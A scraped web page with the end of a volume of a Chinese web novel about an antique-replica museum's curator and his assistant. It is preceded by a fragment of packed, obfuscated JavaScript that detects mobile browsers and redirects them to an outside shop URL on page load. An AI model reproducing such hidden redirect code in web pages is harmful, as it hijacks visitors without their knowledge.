RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729846|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自身眼力不够,也不能怪馆长不是,再说了,谁说摆在毕氏高仿古董展览馆里展览的就一定是全都是高仿,介绍牌上都没有写上赝品两个字,别人把展品当成是高仿,也是被误导,嗯,这风格……果然是毕馆长一贯的无赖作风。 贺然显然没有甘文这样了解毕馆长的风格,也不知道是被那句话给堵住了不知道怎么回,还是被毕馆长的气势给压住了,一时间竟然没有说话,沉默了半晌,才抓起面前的酒杯,对着毕馆长一敬,然后把里面的酒一饮而尽。 “不管怎么说,毕馆长,我还是要替我父亲谢谢你,现在这个结果,已经是最好的。就这样吧,再见!” 说完,放下酒杯,他转身就走。 诶,这就完了?甘文看看毕馆长,见毕馆长没有再说什么的意思,总觉得还是有些不得劲,想了想,他自己追了出去,在工地入口处追上了贺然。 “贺先生,毕馆长就是这个脾气,你别介意,其实我们今天来,就是想给你个交待,让你心里能好受些,没有别的意思。” 贺然看了看他,脸上终于有了点笑模样,道:“甘助理,我懂,是我自己心里拧不过这个弯来,刚才我说谢谢,也是真心的,没有让世嘉拍卖行得逞,我真的很高兴。” 他纠结的,只是不能为孩儿枕正名,老父至死都要背上一个看走眼的污名,可他也知道,这怪不到毕馆长的头上,是他自己没用,先被别人骗了,他怪来怪去,最后怪的还是自己。 甘文见贺然还是很通情达理的,心里那股子不得劲儿终于散去,笑道:“有些话我不好说,不过你放心,孩儿枕放在我们展览馆里绝对不会埋没他,毕竟……是古董精里的□□呢!” 最后几个字,他说得很轻,除了他自己,没人能听得清楚。 贺然果然没听清,但也没有追问的意思,对甘文挥挥手,道一句“再见”,回了工地里。 从县区回来,这一天也就差不多过去了,毕馆长没回展览馆,让甘文直接将车开到了自己家的楼下,下车时,他缓缓撑开伞,又转回身来,弯下腰对甘文道:“下个月,你就转正。” 甘文一愣,还没满三个月呢,慢一拍才反应过来,馆长大人这是对他的工作能力非常满意,提前给他正转了,顿时兴奋得胡言乱语的道:“馆长,我喜欢你。” 毕馆长:“……” “不是啊,我是说我很喜欢给馆长当助理,跟着馆长我涨了很多见识,很开心。”甘文拍了一下自己的脑门,赶紧找补。 跟古董精共事,这经历也不是谁都能有的,尤其是有馆长大人坐镇,说展览馆是古董精里的□□一点儿也不为过,甘文觉得自己的人生境界一下子高得飞起。 毕馆长盯着他看一会儿,淡淡道:“回去,洗洗睡。” 甘文:“……” 《卷一完》